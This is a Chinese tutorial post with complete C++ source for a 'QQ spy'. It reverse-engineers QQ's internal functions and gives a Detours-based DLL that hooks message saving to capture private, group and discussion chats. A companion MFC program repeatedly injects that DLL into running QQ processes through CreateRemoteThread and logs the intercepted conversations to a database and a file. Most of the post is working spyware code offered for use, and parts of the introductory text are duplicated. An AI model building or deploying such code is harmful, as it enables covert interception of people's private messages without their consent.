大家先對QQ采用ollydbg調試QQ,
分析出相關QQ內部函數
//?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z
//?GetSelfUin@Contact@Util@@YAKXZ
//?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z
//?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z
//?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z
//?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z
//?GetSelfUin@Contact@Util@@YAKXZ
然后我們寫一個DLL來注射到QQ內部,調用QQ相關函數,獲取相關QQ聊天記錄信息,然后將QQ聊天記錄用sendmessage發送出來。
DLL代碼如下
下面我們寫一個MFC窗口程序,用來接收QQ聊天信息,並將QQ聊天記錄顯示出來,同時檢索QQ進程,並將DLL注射到QQ的體內。
然后大家看下效果圖
登陸
個人對個人聊天
群聊
討論組聊天
分析出相關QQ內部函數
//?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z
//?GetSelfUin@Contact@Util@@YAKXZ
//?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z
//?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z
//?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z
//?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z
//?GetSelfUin@Contact@Util@@YAKXZ
然后我們寫一個DLL來注射到QQ內部,調用QQ相關函數,獲取相關QQ聊天記錄信息,然后將QQ聊天記錄用sendmessage發送出來。
DLL代碼如下
代碼:
#include "stdafx.h"
#include "QQspy.h"
#include "detours.h"
#pragma comment (lib, "detours.lib")
#include <set>
#include <shlwapi.h>
#pragma comment (lib, "shlwapi.lib")
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
//
// Note!
//
// If this DLL is dynamically linked against the MFC
// DLLs, any functions exported from this DLL which
// call into MFC must have the AFX_MANAGE_STATE macro
// added at the very beginning of the function.
//
// For example:
//
// extern "C" BOOL PASCAL EXPORT ExportedFunction()
// {
// AFX_MANAGE_STATE(AfxGetStaticModuleState());
// // normal function body here
// }
//
// It is very important that this macro appear in each
// function, prior to any calls into MFC. This means that
// it must appear as the first statement within the
// function, even before any object variable declarations
// as their constructors may generate calls into the MFC
// DLL.
//
// Please see MFC Technical Notes 33 and 58 for additional
// details.
//
/////////////////////////////////////////////////////////////////////////////
// CQQMonApp
BEGIN_MESSAGE_MAP(CQQMonApp, CWinApp)
//{{AFX_MSG_MAP(CQQMonApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CQQMonApp construction
CQQMonApp::CQQMonApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}
/////////////////////////////////////////////////////////////////////////////
// The one and only CQQMonApp object
CQQMonApp theApp;
// 定義函數類型
typedef BOOL (__cdecl *M_SaveMsg_1)(LPCWSTR lpStr,
DWORD dTo_Num,
DWORD dFrom_Num,
DWORD dTo_Num_2,
struct ITXMsgPack * TXMsgPack,
struct ITXData* TXData);
typedef BOOL (__cdecl *M_SaveMsg_2)(wchar_t *group,
wchar_t *un_1,
wchar_t *username,
wchar_t *un_1_,
int num_1,
int num_2,
struct ITXMsgPack * TXMsgPack,
struct ITXData* TXData);
//?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z
typedef int (__cdecl *M_GetMsgTime)(struct ITXMsgPack *TXMsgPack);
//?GetSelfUin@Contact@Util@@YAKXZ
typedef long (__cdecl *M_GetSelfUin)(void);
//
typedef PVOID (__cdecl *M_GetPublicName)(LPWSTR *lpBuffer, DWORD dQQNum);
//?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z
typedef PVOID (__cdecl *M_GetGroupName)(LPWSTR *lpBuffer, DWORD dGroupNum);
//?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z
typedef PVOID (__cdecl *M_GetDiscussName)(LPWSTR *lpBuffer, DWORD dGroupNum);
//?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z
typedef int (__cdecl *M_GetGroupMemLongNickname)(unsigned long,unsigned long,CString &);
//?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z
typedef PVOID (__cdecl *M_GetGroupMemShowName)(ULONG,ULONG);
//?GetSelfUin@Contact@Util@@YAKXZ
typedef long (__cdecl *M_GetSelfUin)(void);
//
typedef PVOID (__cdecl *M_GetMsgAbstract)(PVOID lpPar_1, struct ITXMsgPack * TXMsgPack);
// 定義函數指針
M_SaveMsg_1 OldSaveMsg_1 = NULL;
M_SaveMsg_2 OldSaveMsg_2 = NULL;
M_SaveMsg_1 TrueSaveMsg_1 = NULL;
M_SaveMsg_2 TrueSaveMsg_2 = NULL;
M_GetMsgAbstract TrueGetMsgAbstract = NULL;
M_GetMsgTime TrueGetMsgTime = NULL;
M_GetGroupName TrueGetGroupName = NULL;
M_GetDiscussName TrueGetDiscussName = NULL;
M_GetPublicName TrueGetPublicName = NULL;
M_GetSelfUin TrueGetSelfUin = NULL;
M_GetSelfUin OldGetSelfUin = NULL;
M_GetGroupMemLongNickname TrueGetGroupMemLongNickname = NULL;
M_GetGroupMemShowName TrueGetGroupMemShowName = NULL;
// 定義HOOK函數
BOOL __cdecl NewSaveMsg_1(LPCWSTR lpStr,
DWORD dTo_Num,
DWORD dFrom_Num,
DWORD dTo_Num_2,
struct ITXMsgPack * TXMsgPack,
struct ITXData* TXData);
BOOL __cdecl NewSaveMsg_2(wchar_t *group,
wchar_t *un_1,
wchar_t *username,
wchar_t *un_1_,
int num_1,
int num_2,
struct ITXMsgPack * TXMsgPack,
struct ITXData* TXData);
//測試娛樂
int __cdecl NewGetSelfUin(void)
{
return 475318423;
}
VOID __cdecl Sendinfo(CString str)
{
COPYDATASTRUCT myCopyDATA;
myCopyDATA.cbData=str.GetLength();
myCopyDATA.lpData=str.GetBuffer(0);
str.ReleaseBuffer();
HWND hwnd=::FindWindow(NULL,"QQ-聊天記錄接收");
if (hwnd)
{
::SendMessage(hwnd,WM_COPYDATA,NULL,(LPARAM)&myCopyDATA);
}
else
{
AfxMessageBox(_T("發送失敗!"));
}
}
VOID __stdcall Joker()
{
ULONG fnGetSelfUin;
ULONG currentQQ;
fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
if ( fnGetSelfUin)
{
currentQQ = ((ULONG (__cdecl*)())fnGetSelfUin)();
if ( currentQQ)
{
char buf[64];
wsprintfA( buf, "新登錄QQ: %d", currentQQ);
CString fff = buf;
fff =fff+"\r\n";
OutputDebugString( fff);
theApp.filename=buf;
Sendinfo(fff);
}
}
}
BOOL CQQMonApp::InitInstance()
{
// TODO: Add your specialized code here and/or call the base class
OutputDebugString("Hook Start");
// 確保加載過KernelUtil.dll
HMODULE hModule = NULL;
hModule = GetModuleHandle(_T("KernelUtil.dll"));
if (hModule == NULL)
{
hModule = LoadLibrary("KernelUtil.dll");
}
// 獲得所需函數的地址
TrueSaveMsg_1 = (M_SaveMsg_1) GetProcAddress(hModule, "?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z");
if (!TrueSaveMsg_1)
{
return FALSE;
}
TrueSaveMsg_2 = (M_SaveMsg_2) GetProcAddress(hModule, "?SaveMsg@Msg@Util@@YAHPB_W000KKPAUITXMsgPack@@PAUITXData@@@Z");
if(!TrueSaveMsg_2)
{
return FALSE;
}
TrueGetMsgTime = (M_GetMsgTime)GetProcAddress(hModule, "?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z");
if (!TrueGetMsgTime)
{
return FALSE;
}
TrueGetPublicName = (M_GetPublicName)GetProcAddress(hModule, "?GetPublicName@Contact@Util@@YA?AVCTXStringW@@K@Z");
if (!TrueGetPublicName)
{
return FALSE;
}
TrueGetGroupName = (M_GetGroupName) GetProcAddress(hModule, "?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z");
if (!TrueGetGroupName)
{
return FALSE;
}
TrueGetDiscussName = (M_GetDiscussName) GetProcAddress(hModule, "?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z");
if (!TrueGetDiscussName)
{
return FALSE;
}
TrueGetSelfUin = (M_GetSelfUin)GetProcAddress(hModule, "?GetSelfUin@Contact@Util@@YAKXZ");
if (!TrueGetSelfUin)
{
return FALSE;
}
TrueGetMsgAbstract = (M_GetMsgAbstract)GetProcAddress(hModule, "?GetMsgAbstract@Msg@Util@@YA?AVCTXStringW@@PAUITXMsgPack@@@Z");
if (!TrueGetMsgAbstract)
{
return FALSE;
}
// //?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z
// TrueGetGroupMemShowName = (M_GetGroupMemShowName) GetProcAddress(hModule, "?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z");
// if (!TrueGetGroupMemShowName)
// {
// break;
// }
//?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z
// TrueGetGroupMemLongNickname = (M_GetGroupMemLongNickname) GetProcAddress(hModule, "?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z");
// if (!TrueGetDiscussName)
// {
// break;
// }
// 開始HOOK
if (TrueSaveMsg_1)
{
OldSaveMsg_1 = (M_SaveMsg_1) DetourFunction((PBYTE)TrueSaveMsg_1, (PBYTE)NewSaveMsg_1);
}
if (TrueSaveMsg_2)
{
OldSaveMsg_2 = (M_SaveMsg_2) DetourFunction((PBYTE)TrueSaveMsg_2, (PBYTE)NewSaveMsg_2);
}
Joker();
//OldGetSelfUin = (M_GetSelfUin) DetourFunction((PBYTE)TrueGetSelfUin, (PBYTE)NewGetSelfUin);
return CWinApp::InitInstance();
}
BOOL __cdecl NewSaveMsg_1(LPCWSTR lpStr,
DWORD dTo_Num,
DWORD dFrom_Num,
DWORD data3,
struct ITXMsgPack * TXMsgPack,
struct ITXData* TXData )
{
long lSelfQQNum = TrueGetSelfUin();
//調試打印輸出,時間
time_t Time;
struct tm *local;
WCHAR wszStringTime[20] = {0};
Time = (time_t)TrueGetMsgTime(TXMsgPack);
local = localtime(&Time);
swprintf(wszStringTime,L"%0.2d:%0.2d:%0.2d",local->tm_hour,local->tm_min,local->tm_sec);
LPWSTR lpName1 = NULL,lpName2 = NULL;
if (TrueGetPublicName)
{
TrueGetPublicName(&lpName1, dFrom_Num);
TrueGetPublicName(&lpName2, dTo_Num);
}
WCHAR wszStringBuffer[MAX_PATH] = {0};
CString ms1;
CString ms2;
//發消息人是自己
if(lSelfQQNum == dFrom_Num)
{
swprintf(wszStringBuffer,L"[個聊][%d]%ws(%u)to(%u) %ws",lSelfQQNum,lpName1,dFrom_Num,dTo_Num,wszStringTime);
ms1=wszStringBuffer;
// OutputDebugStringW(wszStringBuffer);
}
//發消息人不是自己
if(lSelfQQNum != dFrom_Num && dTo_Num == lSelfQQNum)
{
swprintf(wszStringBuffer,L"[個聊][%d]%ws(%u)to(%u) %ws",lSelfQQNum,lpName1,dFrom_Num,dTo_Num,wszStringTime);
ms1=wszStringBuffer;
// OutputDebugStringW(wszStringBuffer);
}
CString strBuffer;
LPWSTR *lpBuffer =(LPWSTR *)TrueGetMsgAbstract(strBuffer.GetBufferSetLength(4096), TXMsgPack);
ms2=ms1+"\r\n"+*lpBuffer;
//調試打印輸出,內容
//OutputDebugStringW(*lpBuffer);
Sendinfo(ms2);
OutputDebugString(ms2);
return OldSaveMsg_1(lpStr, dTo_Num, dFrom_Num, data3, TXMsgPack, TXData);
}
BOOL __cdecl NewSaveMsg_2( wchar_t *group, wchar_t *un_1, wchar_t *username, wchar_t *un_1_, int num_1, int num_2, struct ITXMsgPack * TXMsgPack, struct ITXData* TXData )
{
//調試打印輸出,時間
time_t Time;
struct tm *local;
WCHAR wszStringTime[20] = {0};
Time = (time_t)TrueGetMsgTime(TXMsgPack);
local = localtime(&Time);
swprintf(wszStringTime,L"%0.2d:%0.2d:%0.2d",local->tm_hour,local->tm_min,local->tm_sec);
long lSelfQQNum = TrueGetSelfUin();
//
WCHAR wszStringBuffer[2*MAX_PATH] = {0};
CString strBuffer;
LPWSTR *lpBuffer =(LPWSTR *) TrueGetMsgAbstract(strBuffer.GetBufferSetLength(4096), TXMsgPack);
CString strGroup(group);
LPWSTR lpName1 = NULL;
CString ms1;
if (strGroup.CompareNoCase("group") == 0)
{
if (TrueGetPublicName)
{
TrueGetGroupName(&lpName1, num_1);
}
// TXStr Str;
// TrueGetGroupMemLongNickname(num_1,num_2,Str);
// OutputDebugStringW(Str.str);
swprintf(wszStringBuffer,L"[群聊][%d][%ws] %ws(%d)(%d) %ws",lSelfQQNum ,lpName1,username, num_1,num_2,wszStringTime);
ms1=wszStringBuffer;
ms1=ms1+"\r\n"+*lpBuffer;
OutputDebugString(ms1);
Sendinfo(ms1);
//OutputDebugStringW(wszStringBuffer);
//OutputDebugStringW(*lpBuffer);
}
else if (strGroup.CompareNoCase("discuss") == 0)
{
if (TrueGetDiscussName)
{
TrueGetDiscussName(&lpName1, num_1);
}
swprintf(wszStringBuffer,L"[討聊][%d][%ws] %ws(%d)(%d) %ws",lSelfQQNum ,lpName1,username, num_1,num_2,wszStringTime);
ms1=wszStringBuffer;
ms1=ms1+"\r\n"+*lpBuffer;
OutputDebugString(ms1);
Sendinfo(ms1);
// OutputDebugStringW(wszStringBuffer);
//OutputDebugStringW(*lpBuffer);
}
return OldSaveMsg_2(group, un_1, username, un_1_, num_1, num_2, TXMsgPack, TXData);
}
int CQQMonApp::ExitInstance()
{
// TODO: Add your specialized code here and/or call the base class
OutputDebugString("Hook Exit");
DetourRemove((PBYTE)OldSaveMsg_1, (PBYTE)NewSaveMsg_1);
DetourRemove((PBYTE)OldSaveMsg_2, (PBYTE)NewSaveMsg_2);
// DetourRemove((PBYTE)OldGetSelfUin, (PBYTE)NewGetSelfUin);
return CWinApp::ExitInstance();
}
下面我們寫一個MFC窗口程序,用來接收QQ聊天信息,並將QQ聊天記錄顯示出來,同時檢索QQ進程,並將DLL注射到QQ的體內。
代碼:
#include "stdafx.h"
#include "QQ-spy.h"
#include "QQ-spyDlg.h"
#include <windows.h>
#include <tlhelp32.h>
#include "ADOConn.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// 用於應用程序“關於”菜單項的 CAboutDlg 對話框
class CAboutDlg : public CDialog
{
public:
CAboutDlg();
// 對話框數據
enum { IDD = IDD_ABOUTBOX };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
// 實現
protected:
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
END_MESSAGE_MAP()
// CQQSPYDlg 對話框
CQQSPYDlg::CQQSPYDlg(CWnd* pParent /*=NULL*/)
: CDialog(CQQSPYDlg::IDD, pParent)
{
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CQQSPYDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT1, m_edit);
DDX_Control(pDX, IDC_LIST1, m_list);
}
BEGIN_MESSAGE_MAP(CQQSPYDlg, CDialog)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
//}}AFX_MSG_MAP
ON_WM_COPYDATA()
ON_LBN_SELCHANGE(IDC_LIST1, &CQQSPYDlg::OnLbnSelchangeList1)
ON_BN_CLICKED(IDC_BUTTON1, &CQQSPYDlg::OnBnClickedButton1)
ON_WM_TIMER()
ON_BN_CLICKED(IDC_BUTTON3, &CQQSPYDlg::OnBnClickedButton3)
END_MESSAGE_MAP()
// CQQSPYDlg 消息處理程序
BOOL CQQSPYDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// 將“關於...”菜單項添加到系統菜單中。
// IDM_ABOUTBOX 必須在系統命令范圍內。
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// 設置此對話框的圖標。當應用程序主窗口不是對話框時,框架將自動
// 執行此操作
SetIcon(m_hIcon, TRUE); // 設置大圖標
SetIcon(m_hIcon, FALSE); // 設置小圖標
// TODO: 在此添加額外的初始化代碼
SetTimer(1,15000,NULL);
return TRUE; // 除非將焦點設置到控件,否則返回 TRUE
}
void CQQSPYDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
// 如果向對話框添加最小化按鈕,則需要下面的代碼
// 來繪制該圖標。對於使用文檔/視圖模型的 MFC 應用程序,
// 這將由框架自動完成。
void CQQSPYDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // 用於繪制的設備上下文
SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);
// 使圖標在工作矩形中居中
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// 繪制圖標
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
//當用戶拖動最小化窗口時系統調用此函數取得光標顯示。
//
HCURSOR CQQSPYDlg::OnQueryDragIcon()
{
return static_cast<HCURSOR>(m_hIcon);
}
DWORD CQQSPYDlg::FindByPID(PTSTR pszProcessName)
{
DWORD dwProcessID = 0;
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
return 0;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if(!Process32First(hProcessSnap, &pe32))
{
CloseHandle(hProcessSnap);
return 0;
}
do
{
//找到QQ進程
if (strcmp(pszProcessName, pe32.szExeFile) == 0)
{
dwProcessID = pe32.th32ProcessID;
//wprintf(TEXT(">>> ------ PID = %d ------\n"), dwProcessID);
//開始內存搜索
CString s1;
s1.Format("%d",dwProcessID);
int ss=m_list.GetCount();
int tt=0;
for (int i=0;i<ss;i++)
{
CString s2;
m_list.GetText(i,s2);
if (s1==s2)
{
tt=1;
break;
}
}
if (tt==0)
{
m_list.AddString(s1);
TCHAR Folder[MAX_PATH];
::GetCurrentDirectory(MAX_PATH,Folder);
strcat( Folder, _T("\\QQMon.dll") );
LPCTSTR s2=_T("F:\\QQ\\QQMon\\Release");
USES_CONVERSION;
BOOL bInject=Inject(Folder,pe32.th32ProcessID);
if (bInject)
{
AfxMessageBox(_T("注入成功!"));
}
else
{AfxMessageBox(_T("注入失敗"));
}
}
}
}
//繼續找下一個進程
while(Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
//如果存在QQ進程,此處return的是最后一個QQ進程的ID,
//如果不在QQ進程,此處return的是dwProcessID的初始值0
return dwProcessID;
}
BOOL CQQSPYDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
// TODO: 在此添加消息處理程序代碼和/或調用默認值
CString m_strCopyData;
m_strCopyData=(LPSTR)pCopyDataStruct->lpData;
m_strCopyData=m_strCopyData.Left(pCopyDataStruct->cbData);
insertmsg(m_strCopyData);
CString ml;
m_edit.GetWindowText(ml);
m_edit.SetWindowText(ml+m_strCopyData+"\r\n");
return CDialog::OnCopyData(pWnd, pCopyDataStruct);
}
void CQQSPYDlg::OnLbnSelchangeList1()
{
// TODO: 在此添加控件通知處理程序代碼
}
void CQQSPYDlg::OnBnClickedButton1()
{
TCHAR pszP[] = TEXT("QQ.exe");
DWORD dwPID = FindByPID(pszP);
// TODO: 在此添加控件通知處理程序代碼
}
BOOL CQQSPYDlg::Inject(LPCTSTR szModule, DWORD dwID)
{
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwID);//打開進程
if ( !hProcess ) {
AfxMessageBox(_T("打開進程失敗"));
return FALSE;
}
int cByte = (_tcslen(szModule)+1) * sizeof(TCHAR);
LPVOID pAddr = VirtualAllocEx(hProcess, NULL, cByte, MEM_COMMIT, PAGE_READWRITE);//申請內存
if ( !pAddr || !WriteProcessMemory(hProcess, pAddr, szModule, cByte, NULL))//寫入dll地址
{
AfxMessageBox(_T("申請內存失敗"));
return FALSE;
}
#ifdef _UNICODE
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryW");
#else
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
#endif//寬A和U定義
if ( !pfnStartAddr ) {
return FALSE;
}
DWORD dwThreadID = 0;
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, pfnStartAddr, pAddr, 0, &dwThreadID);
if ( !hRemoteThread ) {
return FALSE;
}
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
return(TRUE);
}
void CQQSPYDlg::OnTimer(UINT_PTR nIDEvent)
{
// TODO: 在此添加消息處理程序代碼和/或調用默認值
switch (nIDEvent)
{
case 1:
///處理ID為1的定時器...
OnBnClickedButton1();
// KillTimer(1);
break;
case 2:
///處理ID為2的定時器...
break;
}
CDialog::OnTimer(nIDEvent);
}
void CQQSPYDlg::OnBnClickedButton3()
{
// TODO: 在此添加控件通知處理程序代碼
}
void CQQSPYDlg::insertmsg (CString ss)
{
CString m_strCopyData;
m_strCopyData=ss;
CString q1="默認消息";
CString q2="默認消息";
CString q3="默認消息";
CString q4="默認消息";
CString q5="默認消息";
CString q6="默認消息";
if ( m_strCopyData.Left(6)=="[討聊]")
{
q2="討聊";
CString s1=m_strCopyData.Right(m_strCopyData.GetLength()-7);
int s2=s1.FindOneOf("]");
q1=s1.Mid(0,s2);
CString s3 =s1.Right(s1.GetLength()-s2-2);
int s4 =s3.FindOneOf("]");
q3=s3.Mid(0,s4);
CString s7=s3.Right(s1.GetLength()-s4);
int s8 =s7.FindOneOf(")");
int s9 =s7.FindOneOf(":");
q4=s7.Mid(s8+2,s9-s8-6);
int s5=s1.FindOneOf(":");
q5=s1.Mid(s5-2,8);
q6=s1.Right(s1.GetLength()-s5-6);
}
if ( m_strCopyData.Left(6)=="[群聊]")
{
q2="群聊";
CString s1=m_strCopyData.Right(m_strCopyData.GetLength()-7);
int s2=s1.FindOneOf("]");
q1=s1.Mid(0,s2);
int s3 =s1.FindOneOf("(");
int s4 =s1.FindOneOf(")");
q3=s1.Mid(s3+1,s4-s3-1);
int s5=s1.FindOneOf("[");
int s6=s1.Find("]",s5);
q4=s1.Mid(s5+1,s6-s5-1);
int s7=s1.FindOneOf(":");
q5=s1.Mid(s7-2,8);
q6=s1.Right(s1.GetLength()-s7-6);
}
if ( m_strCopyData.Left(6)=="[個聊]")
{
q2="個聊";
CString s1=m_strCopyData.Right(m_strCopyData.GetLength()-7);
int s2=s1.FindOneOf("]");
q1=s1.Mid(0,s2);
int s3= m_strCopyData.FindOneOf("(");
int s4= m_strCopyData.FindOneOf("to");
q3=m_strCopyData.Mid(s3+1,s4-s3-2);
CString s5 =m_strCopyData.Right(m_strCopyData.GetLength()-s4-3);
int s6 =s5.FindOneOf(")");
q4 =s5.Mid(0,s6);
int s7 =s5.FindOneOf(":");
q5 =s5.Mid(s7-2,8);
q6=s5.Right(s5.GetLength()-s7-6);
}
ADOConn m_AdoConn;
m_AdoConn.OnInitADOConn();
_bstr_t sql;
sql = "select*from QQ";
_RecordsetPtr m_pRecordset;
m_pRecordset=m_AdoConn.GetRecordSet(sql);
try
{
m_pRecordset->AddNew();//添加新行
m_pRecordset->PutCollect("本地QQ",(_bstr_t)q1);
m_pRecordset->PutCollect("聊天類型",(_bstr_t)q2);
m_pRecordset->PutCollect("發送方",(_bstr_t)q3);
m_pRecordset->PutCollect("接收方",(_bstr_t)q4);
m_pRecordset->PutCollect("時間",(_bstr_t)q5);
m_pRecordset->PutCollect("聊天內容",(_bstr_t)q6);
m_pRecordset->Update();
m_AdoConn.ExitConnect();
}
catch(...)
{
MessageBox("操作失敗");
return;
}
CString EditPrintf;
EditPrintf =m_strCopyData+"\r\n";
int nLength =EditPrintf.GetLength();
CString fileName;
fileName="QQ.log";
CStdioFile file;
file.Open(fileName,CFile::modeCreate |CFile::modeNoTruncate| CFile::modeWrite);
file.SeekToEnd();
file.Write( EditPrintf,nLength);
file.Close();
}
登陸
個人對個人聊天
群聊
討論組聊天
